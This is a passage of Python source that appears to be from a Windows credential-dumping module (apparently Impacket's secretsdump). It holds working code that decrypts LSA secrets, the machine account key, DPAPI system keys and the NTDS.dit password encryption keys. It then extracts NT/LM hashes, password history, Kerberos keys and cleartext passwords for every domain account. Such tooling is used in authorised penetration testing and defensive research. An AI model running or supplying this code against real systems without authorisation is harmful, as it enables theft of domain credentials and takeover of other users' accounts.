LOG.debug('Discarding secret %s, all zeros' % name)
|
|
return
|
|
|
|
upperName = name.upper()
|
|
|
|
LOG.info('%s ' % name)
|
|
|
|
secret = ''
|
|
|
|
if upperName.startswith('_SC_'):
|
|
# Service name, a password might be there
|
|
# Let's first try to decode the secret
|
|
try:
|
|
strDecoded = secretItem.decode('utf-16le')
|
|
except:
|
|
pass
|
|
else:
|
|
# We have to get the account the service
|
|
# runs under
|
|
if hasattr(self.__remoteOps, 'getServiceAccount'):
|
|
account = self.__remoteOps.getServiceAccount(name[4:])
|
|
if account is None:
|
|
secret = self.UNKNOWN_USER + ':'
|
|
else:
|
|
secret = "%s:" % account
|
|
else:
|
|
# We don't support getting this info for local targets at the moment
|
|
secret = self.UNKNOWN_USER + ':'
|
|
secret += strDecoded
|
|
elif upperName.startswith('DEFAULTPASSWORD'):
|
|
# defaults password for winlogon
|
|
# Let's first try to decode the secret
|
|
try:
|
|
strDecoded = secretItem.decode('utf-16le')
|
|
except:
|
|
pass
|
|
else:
|
|
# We have to get the account this password is for
|
|
if hasattr(self.__remoteOps, 'getDefaultLoginAccount'):
|
|
account = self.__remoteOps.getDefaultLoginAccount()
|
|
if account is None:
|
|
secret = self.UNKNOWN_USER + ':'
|
|
else:
|
|
secret = "%s:" % account
|
|
else:
|
|
# We don't support getting this info for local targets at the moment
|
|
secret = self.UNKNOWN_USER + ':'
|
|
secret += strDecoded
|
|
elif upperName.startswith('ASPNET_WP_PASSWORD'):
|
|
try:
|
|
strDecoded = secretItem.decode('utf-16le')
|
|
except:
|
|
pass
|
|
else:
|
|
secret = 'ASPNET: %s' % strDecoded
|
|
elif upperName.startswith('DPAPI_SYSTEM'):
|
|
# Decode the DPAPI Secrets
|
|
dpapi = DPAPI_SYSTEM(secretItem)
|
|
secret = "dpapi_machinekey:0x{0}\ndpapi_userkey:0x{1}".format( hexlify(dpapi['MachineKey']).decode('latin-1'),
|
|
hexlify(dpapi['UserKey']).decode('latin-1'))
|
|
elif upperName.startswith('$MACHINE.ACC'):
|
|
# compute MD4 of the secret.. yes.. that is the nthash? :-o
|
|
md4 = MD4.new()
|
|
md4.update(secretItem)
|
|
if hasattr(self.__remoteOps, 'getMachineNameAndDomain'):
|
|
machine, domain = self.__remoteOps.getMachineNameAndDomain()
|
|
printname = "%s\\%s$" % (domain, machine)
|
|
secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),
|
|
hexlify(md4.digest()).decode('utf-8'))
|
|
else:
|
|
printname = "$MACHINE.ACC"
|
|
secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),
|
|
hexlify(md4.digest()).decode('utf-8'))
|
|
# Attempt to calculate and print Kerberos keys
|
|
if not self.__printMachineKerberos(secretItem, printname):
|
|
LOG.debug('Could not calculate machine account Kerberos keys, printing plain password (hex encoded)')
|
|
extrasecret = "$MACHINE.ACC:plain_password_hex:%s" % hexlify(secretItem).decode('utf-8')
|
|
self.__secretItems.append(extrasecret)
|
|
self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret)
|
|
|
|
if secret != '':
|
|
printableSecret = secret
|
|
self.__secretItems.append(secret)
|
|
self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret)
|
|
else:
|
|
# Default print, hexdump
|
|
printableSecret = '%s:%s' % (name, hexlify(secretItem).decode('utf-8'))
|
|
self.__secretItems.append(printableSecret)
|
|
# If we're using the default callback (ourselves), we print the hex representation. If not, the
|
|
# user will need to decide what to do.
|
|
if self.__module__ == self.__perSecretCallback.__module__:
|
|
if LOG.level <40 :
|
|
hexdump(secretItem)
|
|
self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_RAW, printableSecret)
|
|
|
|
def __printMachineKerberos(self, rawsecret, machinename):
|
|
# Attempt to create Kerberos keys from machine account (if possible)
|
|
if hasattr(self.__remoteOps, 'getMachineKerberosSalt'):
|
|
salt = self.__remoteOps.getMachineKerberosSalt()
|
|
if salt == b'':
|
|
return False
|
|
else:
|
|
allciphers = [
|
|
int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
|
|
int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),
|
|
int(constants.EncryptionTypes.des_cbc_md5.value)
|
|
]
|
|
# Ok, so the machine account password is in raw UTF-16, BUT can contain any amount
|
|
# of invalid unicode characters.
|
|
# This took me (Dirk-jan) way too long to figure out, but apparently Microsoft
|
|
# implicitly replaces those when converting utf-16 to utf-8.
|
|
# When we use the same method we get the valid password -> key mapping :)
|
|
rawsecret = rawsecret.decode('utf-16-le', 'replace').encode('utf-8', 'replace')
|
|
for etype in allciphers:
|
|
try:
|
|
key = string_to_key(etype, rawsecret, salt, None)
|
|
except Exception:
|
|
LOG.debug('Exception', exc_info=True)
|
|
raise
|
|
typename = NTDSHashes.KERBEROS_TYPE[etype]
|
|
secret = "%s:%s:%s" % (machinename, typename, hexlify(key.contents).decode('utf-8'))
|
|
self.__secretItems.append(secret)
|
|
self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_KERBEROS, secret)
|
|
return True
|
|
else:
|
|
return False
|
|
|
|
def dumpSecrets(self):
|
|
if self.__securityFile is None:
|
|
# No SECURITY file provided
|
|
return
|
|
|
|
LOG.info('Dumping LSA Secrets')
|
|
|
|
# Let's first see if there are cached entries
|
|
keys = self.enumKey('\\Policy\\Secrets')
|
|
if keys is None:
|
|
# No entries
|
|
return
|
|
try:
|
|
# Remove unnecessary value
|
|
keys.remove(b'NL$Control')
|
|
except:
|
|
pass
|
|
|
|
if self.__LSAKey == b'':
|
|
self.__getLSASecretKey()
|
|
|
|
for key in keys:
|
|
LOG.debug('Looking into %s' % key)
|
|
valueTypeList = ['CurrVal']
|
|
# Check if old LSA secrets values are also need to be shown
|
|
if self.__history:
|
|
valueTypeList.append('OldVal')
|
|
|
|
for valueType in valueTypeList:
|
|
value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType))
|
|
if value is not None and value[1] != 0:
|
|
if self.__vistaStyle is True:
|
|
record = LSA_SECRET(value[1])
|
|
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
|
|
plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
|
|
record = LSA_SECRET_BLOB(plainText)
|
|
secret = record['Secret']
|
|
else:
|
|
secret = self.__decryptSecret(self.__LSAKey, value[1])
|
|
|
|
# If this is an OldVal secret, let's append '_history' to be able to distinguish it and
|
|
# also be consistent with NTDS history
|
|
if valueType == 'OldVal':
|
|
key += '_history'
|
|
self.__printSecret(key, secret)
|
|
|
|
def exportSecrets(self, baseFileName, openFileFunc = None):
|
|
if len(self.__secretItems) > 0:
|
|
fileName = baseFileName+'.secrets'
|
|
fd = openFile(fileName, openFileFunc=openFileFunc)
|
|
for item in self.__secretItems:
|
|
fd.write(item+'\n')
|
|
fd.close()
|
|
return fileName
|
|
|
|
def exportCached(self, baseFileName, openFileFunc = None):
|
|
if len(self.__cachedItems) > 0:
|
|
fileName = baseFileName+'.cached'
|
|
fd = openFile(fileName, openFileFunc=openFileFunc)
|
|
for item in self.__cachedItems:
|
|
fd.write(item+'\n')
|
|
fd.close()
|
|
return fileName
|
|
|
|
|
|
class ResumeSessionMgrInFile(object):
|
|
def __init__(self, resumeFileName=None):
|
|
self.__resumeFileName = resumeFileName
|
|
self.__resumeFile = None
|
|
self.__hasResumeData = resumeFileName is not None
|
|
|
|
def hasResumeData(self):
|
|
return self.__hasResumeData
|
|
|
|
def clearResumeData(self):
|
|
self.endTransaction()
|
|
if self.__resumeFileName and os.path.isfile(self.__resumeFileName):
|
|
os.remove(self.__resumeFileName)
|
|
|
|
def writeResumeData(self, data):
|
|
# self.beginTransaction() must be called first, but we are aware of performance here, so we avoid checking that
|
|
self.__resumeFile.seek(0, 0)
|
|
self.__resumeFile.truncate(0)
|
|
self.__resumeFile.write(data.encode())
|
|
self.__resumeFile.flush()
|
|
|
|
def getResumeData(self):
|
|
try:
|
|
self.__resumeFile = open(self.__resumeFileName,'rb')
|
|
except Exception as e:
|
|
raise Exception('Cannot open resume session file name %s' % str(e))
|
|
resumeSid = self.__resumeFile.read()
|
|
self.__resumeFile.close()
|
|
# Truncate and reopen the file as wb+
|
|
self.__resumeFile = open(self.__resumeFileName,'wb+')
|
|
return resumeSid.decode('utf-8')
|
|
|
|
def getFileName(self):
|
|
return self.__resumeFileName
|
|
|
|
def beginTransaction(self):
|
|
if not self.__resumeFileName:
|
|
self.__resumeFileName = 'sessionresume_%s' % ''.join(random.choice(string.ascii_letters) for _ in range(8))
|
|
LOG.debug('Session resume file will be %s' % self.__resumeFileName)
|
|
if not self.__resumeFile:
|
|
try:
|
|
self.__resumeFile = open(self.__resumeFileName, 'wb+')
|
|
except Exception as e:
|
|
raise Exception('Cannot create "%s" resume session file: %s' % (self.__resumeFileName, str(e)))
|
|
|
|
def endTransaction(self):
|
|
if self.__resumeFile:
|
|
self.__resumeFile.close()
|
|
self.__resumeFile = None
|
|
|
|
|
|
class NTDSHashes:
|
|
class SECRET_TYPE:
|
|
NTDS = 0
|
|
NTDS_CLEARTEXT = 1
|
|
NTDS_KERBEROS = 2
|
|
|
|
NAME_TO_INTERNAL = {
|
|
'uSNCreated':b'ATTq131091',
|
|
'uSNChanged':b'ATTq131192',
|
|
'name':b'ATTm3',
|
|
'objectGUID':b'ATTk589826',
|
|
'objectSid':b'ATTr589970',
|
|
'userAccountControl':b'ATTj589832',
|
|
'primaryGroupID':b'ATTj589922',
|
|
'accountExpires':b'ATTq589983',
|
|
'logonCount':b'ATTj589993',
|
|
'sAMAccountName':b'ATTm590045',
|
|
'sAMAccountType':b'ATTj590126',
|
|
'lastLogonTimestamp':b'ATTq589876',
|
|
'userPrincipalName':b'ATTm590480',
|
|
'unicodePwd':b'ATTk589914',
|
|
'dBCSPwd':b'ATTk589879',
|
|
'ntPwdHistory':b'ATTk589918',
|
|
'lmPwdHistory':b'ATTk589984',
|
|
'pekList':b'ATTk590689',
|
|
'supplementalCredentials':b'ATTk589949',
|
|
'pwdLastSet':b'ATTq589920',
|
|
}
|
|
|
|
NAME_TO_ATTRTYP = {
|
|
'userPrincipalName': 0x90290,
|
|
'sAMAccountName': 0x900DD,
|
|
'unicodePwd': 0x9005A,
|
|
'dBCSPwd': 0x90037,
|
|
'ntPwdHistory': 0x9005E,
|
|
'lmPwdHistory': 0x900A0,
|
|
'supplementalCredentials': 0x9007D,
|
|
'objectSid': 0x90092,
|
|
'userAccountControl':0x90008,
|
|
}
|
|
|
|
ATTRTYP_TO_ATTID = {
|
|
'userPrincipalName': '1.2.840.113556.1.4.656',
|
|
'sAMAccountName': '1.2.840.113556.1.4.221',
|
|
'unicodePwd': '1.2.840.113556.1.4.90',
|
|
'dBCSPwd': '1.2.840.113556.1.4.55',
|
|
'ntPwdHistory': '1.2.840.113556.1.4.94',
|
|
'lmPwdHistory': '1.2.840.113556.1.4.160',
|
|
'supplementalCredentials': '1.2.840.113556.1.4.125',
|
|
'objectSid': '1.2.840.113556.1.4.146',
|
|
'pwdLastSet': '1.2.840.113556.1.4.96',
|
|
'userAccountControl':'1.2.840.113556.1.4.8',
|
|
}
|
|
|
|
KERBEROS_TYPE = {
|
|
1:'dec-cbc-crc',
|
|
3:'des-cbc-md5',
|
|
17:'aes128-cts-hmac-sha1-96',
|
|
18:'aes256-cts-hmac-sha1-96',
|
|
0xffffff74:'rc4_hmac',
|
|
}
|
|
|
|
INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.items())
|
|
|
|
SAM_NORMAL_USER_ACCOUNT = 0x30000000
|
|
SAM_MACHINE_ACCOUNT = 0x30000001
|
|
SAM_TRUST_ACCOUNT = 0x30000002
|
|
|
|
ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)
|
|
|
|
class PEKLIST_ENC(Structure):
|
|
structure = (
|
|
('Header','8s=b""'),
|
|
('KeyMaterial','16s=b""'),
|
|
('EncryptedPek',':'),
|
|
)
|
|
|
|
class PEKLIST_PLAIN(Structure):
|
|
structure = (
|
|
('Header','32s=b""'),
|
|
('DecryptedPek',':'),
|
|
)
|
|
|
|
class PEK_KEY(Structure):
|
|
structure = (
|
|
('Header','1s=b""'),
|
|
('Padding','3s=b""'),
|
|
('Key','16s=b""'),
|
|
)
|
|
|
|
class CRYPTED_HASH(Structure):
|
|
structure = (
|
|
('Header','8s=b""'),
|
|
('KeyMaterial','16s=b""'),
|
|
('EncryptedHash','16s=b""'),
|
|
)
|
|
|
|
class CRYPTED_HASHW16(Structure):
|
|
structure = (
|
|
('Header','8s=b""'),
|
|
('KeyMaterial','16s=b""'),
|
|
('Unknown','<L=0'),
|
|
('EncryptedHash', ':'),
|
|
)
|
|
|
|
class CRYPTED_HISTORY(Structure):
|
|
structure = (
|
|
('Header','8s=b""'),
|
|
('KeyMaterial','16s=b""'),
|
|
('EncryptedHash',':'),
|
|
)
|
|
|
|
class CRYPTED_BLOB(Structure):
|
|
structure = (
|
|
('Header','8s=b""'),
|
|
('KeyMaterial','16s=b""'),
|
|
('EncryptedHash',':'),
|
|
)
|
|
|
|
def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None,
|
|
useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None,
|
|
justUser=None, printUserStatus=False,
|
|
perSecretCallback = lambda secretType, secret : _print_helper(secret),
|
|
resumeSessionMgr=ResumeSessionMgrInFile):
|
|
self.__bootKey = bootKey
|
|
self.__NTDS = ntdsFile
|
|
self.__history = history
|
|
self.__noLMHash = noLMHash
|
|
self.__useVSSMethod = useVSSMethod
|
|
self.__remoteOps = remoteOps
|
|
self.__pwdLastSet = pwdLastSet
|
|
self.__printUserStatus = printUserStatus
|
|
if self.__NTDS is not None:
|
|
self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)
|
|
self.__cursor = self.__ESEDB.openTable('datatable')
|
|
self.__tmpUsers = list()
|
|
self.__PEK = list()
|
|
self.__cryptoCommon = CryptoCommon()
|
|
self.__kerberosKeys = OrderedDict()
|
|
self.__clearTextPwds = OrderedDict()
|
|
self.__justNTLM = justNTLM
|
|
self.__resumeSession = resumeSessionMgr(resumeSession)
|
|
self.__outputFileName = outputFileName
|
|
self.__justUser = justUser
|
|
self.__perSecretCallback = perSecretCallback
|
|
|
|
def getResumeSessionFile(self):
|
|
return self.__resumeSession.getFileName()
|
|
|
|
def __getPek(self):
|
|
LOG.info('Searching for pekList, be patient')
|
|
peklist = None
|
|
while True:
|
|
try:
|
|
record = self.__ESEDB.getNextRow(self.__cursor)
|
|
except:
|
|
LOG.error('Error while calling getNextRow(), trying the next one')
|
|
continue
|
|
|
|
if record is None:
|
|
break
|
|
elif record[self.NAME_TO_INTERNAL['pekList']] is not None:
|
|
peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']])
|
|
break
|
|
elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
|
|
# Okey.. we found some users, but we're not yet ready to process them.
|
|
# Let's just store them in a temp list
|
|
self.__tmpUsers.append(record)
|
|
|
|
if peklist is not None:
|
|
encryptedPekList = self.PEKLIST_ENC(peklist)
|
|
if encryptedPekList['Header'][:4] == b'\x02\x00\x00\x00':
|
|
# Up to Windows 2012 R2 looks like header starts this way
|
|
md5 = hashlib.new('md5')
|
|
md5.update(self.__bootKey)
|
|
for i in range(1000):
|
|
md5.update(encryptedPekList['KeyMaterial'])
|
|
tmpKey = md5.digest()
|
|
rc4 = ARC4.new(tmpKey)
|
|
decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
|
|
PEKLen = len(self.PEK_KEY())
|
|
for i in range(len( decryptedPekList['DecryptedPek'] ) // PEKLen ):
|
|
cursor = i * PEKLen
|
|
pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
|
|
LOG.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']).decode('utf-8'))
|
|
self.__PEK.append(pek['Key'])
|
|
|
|
elif encryptedPekList['Header'][:4] == b'\x03\x00\x00\x00':
|
|
# Windows 2016 TP4 header starts this way
|
|
# Encrypted PEK Key seems to be different, but actually similar to decrypting LSA Secrets.
|
|
# using AES:
|
|
# Key: the bootKey
|
|
# CipherText: PEKLIST_ENC['EncryptedPek']
|
|
# IV: PEKLIST_ENC['KeyMaterial']
|
|
decryptedPekList = self.PEKLIST_PLAIN(
|
|
self.__cryptoCommon.decryptAES(self.__bootKey, encryptedPekList['EncryptedPek'],
|
|
encryptedPekList['KeyMaterial']))
|
|
|
|
# PEK list entries take the form:
|
|
# index (4 byte LE int), PEK (16 byte key)
|
|
# the entries are in ascending order, and the list is terminated
|
|
# by an entry with a non-sequential index (08080808 observed)
|
|
pos, cur_index = 0, 0
|
|
while True:
|
|
pek_entry = decryptedPekList['DecryptedPek'][pos:pos+20]
|
|
if len(pek_entry) < 20: break # if list truncated, should not happen
|
|
index, pek = unpack('<L16s', pek_entry)
|
|
if index != cur_index: break # break on non-sequential index
|
|
self.__PEK.append(pek)
|
|
LOG.info("PEK # %d found and decrypted: %s", index, hexlify(pek).decode('utf-8'))
|
|
cur_index += 1
|
|
pos += 20
|
|
|
|
def __removeRC4Layer(self, cryptedHash):
|
|
md5 = hashlib.new('md5')
|
|
# PEK index can be found on header of each ciphered blob (pos 8-10)
|
|
pekIndex = hexlify(cryptedHash['Header'])
|
|
md5.update(self.__PEK[int(pekIndex[8:10])])
|
|
md5.update(cryptedHash['KeyMaterial'])
|
|
tmpKey = md5.digest()
|
|
rc4 = ARC4.new(tmpKey)
|
|
plainText = rc4.encrypt(cryptedHash['EncryptedHash'])
|
|
|
|
return plainText
|
|
|
|
def __removeDESLayer(self, cryptedHash, rid):
|
|
Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))
|
|
|
|
Crypt1 = DES.new(Key1, DES.MODE_ECB)
|
|
Crypt2 = DES.new(Key2, DES.MODE_ECB)
|
|
|
|
decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])
|
|
|
|
return decryptedHash
|
|
|
|
@staticmethod
|
|
def __fileTimeToDateTime(t):
|
|
t -= 116444736000000000
|
|
t //= 10000000
|
|
if t < 0:
|
|
return 'never'
|
|
else:
|
|
dt = datetime.fromtimestamp(t)
|
|
return dt.strftime("%Y-%m-%d %H:%M")
|
|
|
|
def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None):
|
|
# This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
|
|
haveInfo = False
|
|
LOG.debug('Entering NTDSHashes.__decryptSupplementalInfo')
|
|
if self.__useVSSMethod is True:
|
|
if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:
|
|
if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:
|
|
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
|
|
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
|
|
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
|
|
else:
|
|
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
|
|
cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
|
|
|
|
if cipherText['Header'][:4] == b'\x13\x00\x00\x00':
|
|
# Win2016 TP4 decryption is different
|
|
pekIndex = hexlify(cipherText['Header'])
|
|
plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
|
|
cipherText['EncryptedHash'][4:],
|
|
cipherText['KeyMaterial'])
|
|
haveInfo = True
|
|
else:
|
|
plainText = self.__removeRC4Layer(cipherText)
|
|
haveInfo = True
|
|
else:
|
|
domain = None
|
|
userName = None
|
|
replyVersion = 'V%d' % record['pdwOutVersion']
|
|
for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
|
|
try:
|
|
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
|
|
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
|
|
except Exception as e:
|
|
LOG.debug('Failed to execute OidFromAttid with error %s' % e)
|
|
LOG.debug('Exception', exc_info=True)
|
|
# Fallbacking to fixed table and hope for the best
|
|
attId = attr['attrTyp']
|
|
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
|
|
|
|
if attId == LOOKUP_TABLE['userPrincipalName']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
try:
|
|
domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
|
|
except:
|
|
domain = None
|
|
else:
|
|
domain = None
|
|
elif attId == LOOKUP_TABLE['sAMAccountName']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
try:
|
|
userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
|
|
except:
|
|
LOG.error(
|
|
'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
|
|
userName = 'unknown'
|
|
else:
|
|
LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
|
|
userName = 'unknown'
|
|
if attId == LOOKUP_TABLE['supplementalCredentials']:
|
|
if attr['AttrVal']['valCount'] > 0:
|
|
blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
|
|
plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
|
|
if len(plainText) > 24:
|
|
haveInfo = True
|
|
if domain is not None:
|
|
userName = '%s\\%s' % (domain, userName)
|
|
|
|
if haveInfo is True:
|
|
try:
|
|
userProperties = samr.USER_PROPERTIES(plainText)
|
|
except:
|
|
# On some old w2k3 there might be user properties that don't
|
|
# match [MS-SAMR] structure, discarding them
|
|
return
|
|
propertiesData = userProperties['UserProperties']
|
|
for propertyCount in range(userProperties['PropertyCount']):
|
|
userProperty = samr.USER_PROPERTY(propertiesData)
|
|
propertiesData = propertiesData[len(userProperty):]
|
|
# For now, we will only process Newer Kerberos Keys and CLEARTEXT
|
|
if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
|
|
propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
|
|
kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
|
|
data = kerbStoredCredentialNew['Buffer']
|
|
for credential in range(kerbStoredCredentialNew['CredentialCount']):
|
|
keyDataNew = samr.KERB_KEY_DATA_NEW(data)
|
|
data = data[len(keyDataNew):]
|
|
keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
|
|
|
|
if keyDataNew['KeyType'] in self.KERBEROS_TYPE:
|
|
answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue).decode('utf-8'))
|
|
else:
|
|
answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue).decode('utf-8'))
|
|
# We're just storing the keys, not printing them, to make the output more readable
|
|
# This is kind of ugly... but it's what I came up with tonight to get an ordered
|
|
# set :P. Better ideas welcomed ;)
|
|
self.__kerberosKeys[answer] = None
|
|
if keysFile is not None:
|
|
self.__writeOutput(keysFile, answer + '\n')
|
|
elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT':
|
|
# [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
|
|
# This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
|
|
try:
|
|
answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))
|
|
except UnicodeDecodeError:
|
|
# This could be because we're decoding a machine password. Printing it hex
|
|
answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue'].decode('utf-8'))
|
|
|
|
self.__clearTextPwds[answer] = None
|
|
if clearTextFile is not None:
|
|
self.__writeOutput(clearTextFile, answer + '\n')
|
|
|
|
if clearTextFile is not None:
|
|
clearTextFile.flush()
|
|
if keysFile is not None:
|
|
keysFile.flush()
|
|
|
|
LOG.debug('Leaving NTDSHashes.__decryptSupplementalInfo')
|
|
|
|
def __decryptHash(self, record, prefixTable=None, outputFile=None):
|
|
LOG.debug('Entering NTDSHashes.__decryptHash')
|
|
if self.__useVSSMethod is True:
|
|
LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])
|
|
|
|
sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
|
|
rid = sid.formatCanonical().split('-')[-1]
|
|
|
|
if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:
|
|
encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
|
|
if encryptedLMHash['Header'][:4] == b'\x13\x00\x00\x00':
|
|
# Win2016 TP4 decryption is different
|
|
encryptedLMHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
|
|
pekIndex = hexlify(encryptedLMHash['Header'])
|
|
tmpLMHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
|
|
encryptedLMHash['EncryptedHash'][:16],
|
|
encryptedLMHash['KeyMaterial'])
|
|
else:
|
|
tmpLMHash = self.__removeRC4Layer(encryptedLMHash)
|
|
LMHash = self.__removeDESLayer(tmpLMHash, rid)
|
|
else:
|
|
LMHash = ntlm.LMOWFv1('', '')
|
|
|
|
if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
|
|
encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
|
|
if encryptedNTHash['Header'][:4] == b'\x13\x00\x00\x00':
|
|
# Win2016 TP4 decryption is different
|
|
encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
|
|
pekIndex = hexlify(encryptedNTHash['Header'])
|
|
tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
|
|
encryptedNTHash['EncryptedHash'][:16],
|
|
encryptedNTHash['KeyMaterial'])
|
|
else:
|
|
tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
|
|
NTHash = self.__removeDESLayer(tmpNTHash, rid)
|
|
else:
|
|
NTHash = ntlm.NTOWFv1('', '')
|
|
|
|
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
|
|
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
|
|
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
|
|
else:
|
|
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
|
|
|
|
if self.__printUserStatus is True:
|
|
# Enabled / disabled users
|
|
if record[self.NAME_TO_INTERNAL['userAccountControl']] is not None:
|
|
if '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '1':
|
|
userAccountStatus = 'Disabled'
|
|
elif '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '0':
|
|
userAccountStatus = 'Enabled'
|
|
else:
|
|
userAccountStatus = 'N/A'
|
|
|
|
if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:
|
|
pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])
|
|
else:
|
|
pwdLastSet = 'N/A'
|
|
|
|
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))
|
|
if self.__pwdLastSet is True:
|
|
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
|
|
if self.__printUserStatus is True:
|
|
answer = "%s (status=%s)" % (answer, userAccountStatus)
|
|
|
|
self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
|
|
|
|
if outputFile is not None:
|
|
self.__writeOutput(outputFile, answer + '\n')
|
|
|
|
if self.__history:
|
|
LMHistory = []
|
|
NTHistory = []
|
|
if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:
|
|
encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))
|
|
tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)
|
|
for i in range(0, len(tmpLMHistory) // 16):
|
|
LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
|
|
LMHistory.append(LMHash)
|
|
|
|
if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
|
|
encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
|
|
|
|
if encryptedNTHistory['Header'][:4] == b'\x13\x00\x00\x00':
|
|
# Win2016 TP4 decryption is different
|
|
encryptedNTHistory = self.CRYPTED_HASHW16(
|
|
unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
|
|
pekIndex = hexlify(encryptedNTHistory['Header'])
|
|
tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
|
|
encryptedNTHistory['EncryptedHash'],
|
|
encryptedNTHistory['KeyMaterial'])
|
|
else:
|
|
